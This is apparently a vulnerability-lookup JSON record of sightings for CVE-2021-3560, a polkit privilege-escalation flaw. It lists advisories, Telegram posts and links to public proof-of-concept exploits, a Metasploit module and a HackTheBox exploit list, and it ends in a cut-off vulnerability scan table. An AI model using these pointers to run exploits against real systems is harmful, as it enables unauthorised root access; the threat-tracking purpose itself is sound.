{"vulnerability": "cve-2021-3560", "sightings": [{"uuid": "683df2f2-5da2-463a-9429-9c57030bc416", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2023-06-14T21:10:04.000000Z"}, {"uuid": "f935e709-ddc2-4439-b5ab-cc75730f89e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "exploited", "source": "https://www.exploit-db.com/exploits/50011", "content": "", "creation_timestamp": "2021-06-15T00:00:00.000000Z"}, {"uuid": "94255abd-5a05-4a6f-87f9-a1d3870b3322", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971816", "content": "", "creation_timestamp": "2024-12-24T20:34:24.985091Z"}, {"uuid": "f7fa755a-d125-41c6-a231-3197fe3e5f1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:45.000000Z"}, {"uuid": "6451120b-ae67-4c72-86c6-33a5492e24fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://gist.github.com/shashinma/4d29c803ec30066d2b1178820b10c7fc", "content": "", "creation_timestamp": "2025-02-11T07:01:30.000000Z"}, {"uuid": "ebc14b6b-8c31-4efb-8108-f6176d052804", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:39.000000Z"}, {"uuid": "06d152cd-d2be-473a-af7a-696c780e5829", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:10:31.000000Z"}, {"uuid": "0a27b347-7000-43fa-be58-66ed741e60e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3lq2gykpbkz2g", "content": "", "creation_timestamp": "2025-05-26T05:29:58.352432Z"}, {"uuid": "514206f5-50b6-4c8d-8fd8-7aec4fa2a75b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "MISP/ab0b745f-bbd5-338e-8b92-97dd0c757e9d", "content": "", "creation_timestamp": "2025-08-31T03:00:58.000000Z"}, {"uuid": "feeb0e5d-8c5a-4089-8ed3-eda1acec45f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/polkit_dbus_auth_bypass.rb", "content": "", "creation_timestamp": "2021-07-08T22:05:22.000000Z"}, {"uuid": "9d578e7d-76d4-4127-83ba-1ebd1d4c4ad5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-35604", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-027-02", "content": "", "creation_timestamp": "2026-01-27T11:00:00.000000Z"}, {"uuid": "c008b0b6-c95a-4356-b6e2-6c6417cc5024", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2021-3560", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/2acf1b60-8bdc-45a3-82f1-b983f55668f3", "content": "", "creation_timestamp": "2026-02-02T12:26:59.147649Z"}, {"uuid": "ebead635-d754-4c9c-867f-e421f08e91f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "Telegram/LegeDtMxRTlSxU-E4vRWPyR6r8eVZBSkTQd0bvp4AR24yPQ", "content": "", "creation_timestamp": "2025-12-17T21:00:04.000000Z"}, {"uuid": "6e39005d-54b3-4e46-81df-cd8b0dc4435a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/378", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aAutomatic Explotation PoC for Polkit CVE-2021-3560\nURL\uff1ahttps://github.com/aancw/polkit-auto-exploit", "creation_timestamp": "2021-08-24T04:56:13.000000Z"}, {"uuid": "d5802f0d-0715-4f0e-98fa-40e7c2da4fe4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/1467", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aPolkit Exploit (CVE-2021-3560). Instant Root.\nURL\uff1ahttps://github.com/n3onhacks/CVE-2021-3560", "creation_timestamp": "2022-02-02T19:29:53.000000Z"}, {"uuid": "02f1486f-68dd-46b0-839f-8966d682c24e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/1455", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-3560 analysis\nURL\uff1ahttps://github.com/chenaotian/CVE-2021-3560", "creation_timestamp": "2022-01-31T09:07:20.000000Z"}, {"uuid": "cfb81baa-b614-4d78-b9ef-9c4f7fc22767", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "Telegram/OZ23IKbQ47oGvBTE7eizQgpIhDfJ5XALPOlUhm63kbbFXAA", "content": "", "creation_timestamp": "2025-11-02T03:00:06.000000Z"}, {"uuid": "1510269a-80fb-41dc-ad8a-5f6d91bcd782", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "Telegram/ZslVGStVV3_lt95-hFdoeilO4jVWtTXfLdOqUzc5Cu_nctM", "content": "", "creation_timestamp": "2025-10-31T21:00:05.000000Z"}, {"uuid": "2d8f753b-25ca-424e-a33d-97f9c190b090", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/arm1tage/129", "content": "HackTheBox:\n\n\u2014Easy Machines\u2014\n\nDriver - WinRM (evil-winrm), printnightmare CVE-2021-1675 (https://habr.com/ru/sandbox/156538/)\nhttps://0xdf.gitlab.io/2022/02/26/htb-driver.html\n\nSecret - JWT, Git source (tig), crush-dumps\nhttps://0xdf.gitlab.io/2022/03/26/htb-secret.html\n\nBackDoor - Wordpress eBook Dir Trav (https://www.exploit-db.com/exploits/39575), gdb exploit (https://www.exploit-db.com/exploits/50539, https://www.rapid7.com/db/modules/exploit/multi/gdb/gdb_server_exec/) \nhttps://0xdf.gitlab.io/2022/04/23/htb-backdoor.html\n\nPrevise - Backup, Site Reverse Shell, low-encrypted passwords\nhttps://0xdf.gitlab.io/2022/01/08/htb-previse.html\n\nBountyHunter - XXE, (root) NOPASSWD python code\nhttps://0xdf.gitlab.io/2021/11/20/htb-bountyhunter.html\n\nHorizontal - Strapi CMS 3.0.0 CVE-2019-18818/CVE-2019-19609 (https://www.exploit-db.com/exploits/50239, https://github.com/diego-tella/CVE-2019-19609-EXPLOIT), Laravel v8 (https://www.exploit-db.com/exploits/49424)\nhttps://0xdf.gitlab.io/2022/02/05/htb-horizontall.html\n\nOptimum - Windows 2012 (https://www.rapid7.com/db/modules/exploit/windows/http/rejetto_hfs_exec/, https://www.rapid7.com/db/modules/exploit/windows/local/ms16_032_secondary_logon_handle_privesc/)\nhttps://0xdf.gitlab.io/2021/03/17/htb-optimum.html\n\nLame - FTP Anonymous, SAMBA exploit (https://github.com/amriunix/CVE-2007-2447)\nhttps://0xdf.gitlab.io/2020/04/07/htb-lame.html\n\nJerry - Tomcat Default Cred, shell via .WAR\nhttps://0xdf.gitlab.io/2018/11/17/htb-jerry.html\n\nBlue - Win7 eternalblue (https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/)\nhttps://0xdf.gitlab.io/2021/05/11/htb-blue.html\n\nDevel - Microsoft IIS httpd 7.5 reverse shell via .ASPX, MS11-046 or ms10_015_kitrap0d (https://github.com/abatchy17/WindowsExploits/tree/master/MS11-046)\nhttps://0xdf.gitlab.io/2019/03/05/htb-devel.html\n\nNetmon - PRTG Network Monitor 18.1.37.13946, Backup credentials, CVE-2018-9276 (https://github.com/A1vinSmith/CVE-2018-9276) / (https://www.exploit-db.com/exploits/46527) + evil-winrm\nhttps://0xdf.gitlab.io/2019/06/29/htb-netmon.html\n\nExplore (Android) - 59777 port CVE-2019-6447 (https://www.exploit-db.com/exploits/50070), SSH Creds on Photo, adb shell\nhttps://0xdf.gitlab.io/2021/10/30/htb-explore.html\n\nAntique - Telnet password via snmpget (https://www.irongeek.com/i.php?page=security/networkprinterhacking#JetDirect%20password%20notes), CUPS 1.6.1 (https://github.com/jpillora/chisel) \nhttps://0xdf.gitlab.io/2022/05/03/htb-antique.html\n\nReturn - evil-winrm, Server Operators in net user svc-printer /domain, sc.exe\nhttps://0xdf.gitlab.io/2022/05/05/htb-return.html\n\nGrandpa - CVE-2017-7269 (https://www.rapid7.com/db/modules/exploit/windows/iis/iis_webdav_scstoragepathfromurl/), SEImpersonalPrivilege Churrasco (https://github.com/Re4son/Churrasco/)\nhttps://0xdf.gitlab.io/2020/05/28/htb-grandpa.html\n\nBeep - ShellShock or Elastix 2.2.0 - 'graph.php' Local File Inclusion, (root) NOPASSWD nmap\nhttps://0xdf.gitlab.io/2021/02/23/htb-beep.html\n\nPandora - snmpwalk creds, CVE-2021-32099, Site Reverse Shell\nhttps://0xdf.gitlab.io/2022/05/21/htb-pandora.html\n\nPaper - WPS 5.2.3 - Cve-2019-17671 (https://www.exploit-db.com/exploits/47690, https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/), Chat Bot Dir Trav, CVE-2021-3560 (https://github.com/Almorabea/Polkit-exploit/blob/main/CVE-2021-3560.py)\nhttps://0xjin.medium.com/paper-hackthebox-write-up-2abca22d3b54\n\n\n#hackthebox #ctf", "creation_timestamp": "2022-06-18T10:22:36.000000Z"}, {"uuid": "9ebd6257-cbec-4c65-a9f4-39a09f27c814", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/beaverdreamer/55", "content": "#polkit #exploit\n\u0421\u043e\u0437\u0434\u0430\u0435\u0442\u0441\u044f \u044e\u0437\u0435\u0440 ahmed, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0435\u0433\u043e \u0441\u0442\u043e\u0438\u0442 \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u0438 \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u043f\u043e \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044e \u0440\u0430\u0431\u043e\u0442 :)\nhttps://raw.githubusercontent.com/Almorabea/Polkit-exploit/main/CVE-2021-3560.py", "creation_timestamp": "2022-02-17T06:24:35.000000Z"}, {"uuid": "1cb59753-9615-432b-be71-2793d15a273a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "Telegram/17sx7vfyYyw5cNVTNyrGtWFmcDoHLeuKbaDi91L36vhy8Ec", "content": "", "creation_timestamp": "2025-07-07T21:00:04.000000Z"}, {"uuid": "e4630972-6d45-4219-b39d-224de87ec0c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://t.me/poxek/2359", "content": "#Linux #CVE #POC\n\nPolkit Privilege Esclation\nCVE-2021-3560\n\npolkit - \u044d\u0442\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0432\u043e \u043c\u043d\u043e\u0433\u0438\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u0445 Linux. \u041e\u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f systemd, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043b\u044e\u0431\u043e\u0439 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432 Linux, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0439 systemd, \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 polkit.\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 polkit_system_bus_name_get_creds_sync() \u0434\u0435\u043c\u043e\u043d\u0430 dbus-daemon \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 Polkit \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u043c\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438", "creation_timestamp": "2022-08-25T09:00:04.000000Z"}, {"uuid": "f5eec937-f2e4-47e3-a733-de1a88d290f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/211", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aExploit\n\u63cf\u8ff0\uff1aPolkit D-Bus Authentication Bypass Exploit\nURL\uff1ahttps://github.com/0Day-dev/CVE-2021-3560", "creation_timestamp": "2021-07-30T11:42:23.000000Z"}, {"uuid": "6a07e4cb-41f9-44b0-8006-1589494b7384", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://t.me/cyberbannews_ir/3348", "content": "\ud83d\uded1\u0647\u0634\u062f\u0627\u0631 \u062f\u0631 \u0645\u0648\u0631\u062f \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0627\u0628\u0632\u0627\u0631 PolKit\n\n\u06cc\u06a9 \u0645\u062d\u0642\u0642 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0628\u0647 \u0646\u0627\u0645 \u00abKevin Backhouse\u00bb \u062f\u0631 \u0648\u0628\u0644\u0627\u06af \u062e\u0648\u062f \u0646\u0633\u0628\u062a \u0628\u0647 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0642\u062f\u06cc\u0645\u06cc \u06a9\u062a\u0627\u0628\u062e\u0627\u0646\u0647 PolKit \u0647\u0634\u062f\u0627\u0631 \u062f\u0627\u062f. \n\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0634\u062f\u0647 \u06a9\u0647 \u0628\u0627 \u0634\u0646\u0627\u0633\u0647 \u00abCVE-2021-3560\u00bb \u0634\u0646\u0627\u062e\u062a\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f\u060c \u0627\u0632 \u0633\u0627\u0644 2015 \u0647\u0645\u0686\u0646\u0627\u0646 \u0648\u062c\u0648\u062f \u062f\u0627\u0634\u062a\u0647 \u0648 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc PolKit 0.113 \u062a\u0627 0.118 \u0631\u0627 \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0647 \u0627\u0633\u062a.\n\n\u062a\u0648\u0632\u06cc\u0639\u200c\u0647\u0627\u06cc \u0627\u0633\u062a\u0641\u0627\u062f\u0647\u200c\u06a9\u0646\u0646\u062f\u0647 \u0627\u0632 \u0627\u06cc\u0646 \u06a9\u062a\u0627\u0628\u062e\u0627\u0646\u0647 \u0646\u06cc\u0632 \u062e\u0635\u0648\u0635\u0627 \u062a\u0648\u0632\u06cc\u0639\u200c\u0647\u0627\u06cc \u062f\u0628\u06cc\u0627\u0646 \u06a9\u0647 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc PolKit 0.105\u060c RHEL 8\u060c Fedora 21\u060c Debian \"Bullseye\" \u0648 Ubuntu 20.04 \u062f\u0631 \u0622\u0646\u200c\u0647\u0627 \u0627\u062c\u0631\u0627 \u0634\u062f\u0647\u200c\u0627\u0646\u062f \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631 \u0647\u0633\u062a\u0646\u062f. \n\n#\u0622\u0633\u06cc\u0628_\u067e\u0630\u06cc\u0631\u06cc\n\n\u2705 \u0628\u06cc\u0634\u062a\u0631 \u0628\u062e\u0648\u0627\u0646\u06cc\u062f:\nhttps://bit.ly/35f3h6O\n\n@cyberbannews_ir", "creation_timestamp": "2021-06-12T08:24:48.000000Z"}, {"uuid": "e8e526e7-f069-43ca-a4b1-af6b53e00f3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://t.me/ctinow/35152", "content": "CVE-2021-3560 flaw in polkit auth system service affects most of Linux distros\n\nhttps://ift.tt/3ghbI7J", "creation_timestamp": "2021-06-12T14:09:43.000000Z"}, {"uuid": "19ecba55-0118-48d9-a911-2bcb7c21cd06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "Telegram/EidKnczSSqyjBcQ7sKuQ5Eq9NVHE7CjrCRWQNDH8CB5oRZc", "content": "", "creation_timestamp": "2024-04-24T17:42:10.000000Z"}, {"uuid": "a93f95b6-30f1-41e2-b079-25f29baea02a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "Telegram/hPHgDnp1pdH4sj9QFaxaJ9fY-IB8NnzLz8KIVcQH7bezm6_5", "content": "", "creation_timestamp": "2025-01-30T02:17:49.000000Z"}, {"uuid": "4dd8b5dd-03ab-470a-a9ab-7db3058f2709", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://t.me/arpsyndicate/1904", "content": "#ExploitObserverAlert\n\nCVE-2021-3560\n\nDESCRIPTION: Exploit Observer has 120 entries related to CVE-2021-3560. It was found that polkit could be tricked into bypassing the credential checks for D-Bus requests, elevating the privileges of the requestor to the root user. This flaw could be used by an unprivileged local attacker to, for example, create a new local administrator. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.\n\nFIRST-EPSS: 0.011770000\nNVD-IS: 5.9\nNVD-ES: 1.8", "creation_timestamp": "2023-12-18T03:45:50.000000Z"}, {"uuid": "f5818ee2-bdd0-4318-8e7f-45b8ec8eda8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://t.me/arpsyndicate/1324", "content": "#ExploitObserverAlert\n\nCVE-2021-3560\n\nDESCRIPTION: Exploit Observer has 120 entries related to CVE-2021-3560. It was found that polkit could be tricked into bypassing the credential checks for D-Bus requests, elevating the privileges of the requestor to the root user. This flaw could be used by an unprivileged local attacker to, for example, create a new local administrator. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.\n\nFIRST-EPSS: 0.011770000\nNVD-IS: 5.9\nNVD-ES: 1.8", "creation_timestamp": "2023-12-04T22:44:29.000000Z"}, {"uuid": "90efa395-3ead-4108-aced-01ecad137fce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://t.me/arpsyndicate/838", "content": "#ExploitObserverAlert\n\nCVE-2021-3560\n\nDESCRIPTION: Exploit Observer has 119 entries related to CVE-2021-3560. It was found that polkit could be tricked into bypassing the credential checks for D-Bus requests, elevating the privileges of the requestor to the root user. This flaw could be used by an unprivileged local attacker to, for example, create a new local administrator. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.\n\nFIRST-EPSS: 0.011770000\nNVD-IS: 5.9\nNVD-ES: 1.8", "creation_timestamp": "2023-12-01T07:35:12.000000Z"}, {"uuid": "b20174e9-0ee4-46f8-9bcc-e147e115fc60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/LockBitRaasRansomware/22829", "content": "Traitor - Exploit Low-Hanging Fruit Automatically\n\n\ud83c\udfa9 Nearly all of GTFOBins\n\ud83c\udfa9 Writeable docker.sock\n\ud83c\udfa9 CVE-2022-0847 (Dirty pipe)\n\ud83c\udfa9 CVE-2021-4034 (pwnkit)\n\ud83c\udfa9 CVE-2021-3560\n\n\nhttps://github.com/liamg/traitor", "creation_timestamp": "2024-04-24T17:42:11.000000Z"}, {"uuid": "c5fa4a3a-7104-43f8-9cc4-79cfdcbe8deb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "Telegram/Ke7Qtx69srUNZs11KMyAFiA7I0NF0hlyPNgwpSWisFGTfjQ", "content": "", "creation_timestamp": "2025-02-18T16:00:09.000000Z"}, {"uuid": "6a0d3ecf-8ddc-4e26-8770-3177292979ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/WARLOCK_DARK_ARMY_OFFICIALS/3136", "content": "Traitor - Exploit Low-Hanging Fruit Automatically\n\n\ud83c\udfa9 Nearly all of GTFOBins\n\ud83c\udfa9 Writeable docker.sock\n\ud83c\udfa9 CVE-2022-0847 (Dirty pipe)\n\ud83c\udfa9 CVE-2021-4034 (pwnkit)\n\ud83c\udfa9 CVE-2021-3560\n\n\nhttps://github.com/liamg/traitor", "creation_timestamp": "2023-09-26T19:41:26.000000Z"}, {"uuid": "5cc67819-4eed-4f8b-a431-61e6a440b7f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-35608", "type": "published-proof-of-concept", "source": "https://t.me/BABATATASASA/5992", "content": "|       PRION:CVE-2018-3067     4.0     https://vulners.com/prion/PRION:CVE-2018-3067               |       PRION:CVE-2018-3065     4.0     https://vulners.com/prion/PRION:CVE-2018-3065               |       PRION:CVE-2018-3056     4.0     https://vulners.com/prion/PRION:CVE-2018-3056               |       PRION:CVE-2018-3054     4.0     https://vulners.com/prion/PRION:CVE-2018-3054               |       PRION:CVE-2019-2503     3.8     https://vulners.com/prion/PRION:CVE-2019-2503               |       PRION:CVE-2023-22053    3.6     https://vulners.com/prion/PRION:CVE-2023-22053\n|       PRION:CVE-2019-2739     3.6     https://vulners.com/prion/PRION:CVE-2019-2739\n|       PRION:CVE-2022-21302    3.5     https://vulners.com/prion/PRION:CVE-2022-21302\n|       PRION:CVE-2021-35608    3.5     https://vulners.com/prion/PRION:CVE-2021-35608              |       PRION:CVE-2021-2174     3.5     https://vulners.com/prion/PRION:CVE-2021-2174\n|       PRION:CVE-2021-2171     3.5     https://vulners.com/prion/PRION:CVE-2021-2171               |       PRION:CVE-2020-2930     3.5     https://vulners.com/prion/PRION:CVE-2020-2930\n|       PRION:CVE-2020-2926     3.5     https://vulners.com/prion/PRION:CVE-2020-2926\n|       PRION:CVE-2020-2921     3.5     https://vulners.com/prion/PRION:CVE-2020-2921               |       PRION:CVE-2020-2752     3.5     https://vulners.com/prion/PRION:CVE-2020-2752               |       PRION:CVE-2020-2694     3.5     https://vulners.com/prion/PRION:CVE-2020-2694               |       PRION:CVE-2020-2584     3.5     https://vulners.com/prion/PRION:CVE-2020-2584\n|       PRION:CVE-2020-14791    3.5     https://vulners.com/prion/PRION:CVE-2020-14791\n|       PRION:CVE-2020-14771    3.5     https://vulners.com/prion/PRION:CVE-2020-14771\n|       PRION:CVE-2020-14550    3.5     https://vulners.com/prion/PRION:CVE-2020-14550\n|       PRION:CVE-2019-3018     3.5     https://vulners.com/prion/PRION:CVE-2019-3018               |       PRION:CVE-2019-2993     3.5     https://vulners.com/prion/PRION:CVE-2019-2993\n|       PRION:CVE-2019-2938     3.5     https://vulners.com/prion/PRION:CVE-2019-2938\n|       PRION:CVE-2019-2814     3.5     https://vulners.com/prion/PRION:CVE-2019-2814\n|       PRION:CVE-2019-2743     3.5     https://vulners.com/prion/PRION:CVE-2019-2743\n|       PRION:CVE-2019-2741     3.5     https://vulners.com/prion/PRION:CVE-2019-2741\n|       PRION:CVE-2019-2738     3.5     https://vulners.com/prion/PRION:CVE-2019-2738               |       PRION:CVE-2019-2636     3.5     https://vulners.com/prion/PRION:CVE-2019-2636\n|       PRION:CVE-2019-2630     3.5     https://vulners.com/prion/PRION:CVE-2019-2630\n|       PRION:CVE-2019-2623     3.5     https://vulners.com/prion/PRION:CVE-2019-2623               |       PRION:CVE-2019-2617     3.5     https://vulners.com/prion/PRION:CVE-2019-2617               |       PRION:CVE-2019-2614     3.5     https://vulners.com/prion/PRION:CVE-2019-2614               |       PRION:CVE-2018-3284     3.5     https://vulners.com/prion/PRION:CVE-2018-3284               |       PRION:CVE-2018-3283     3.5     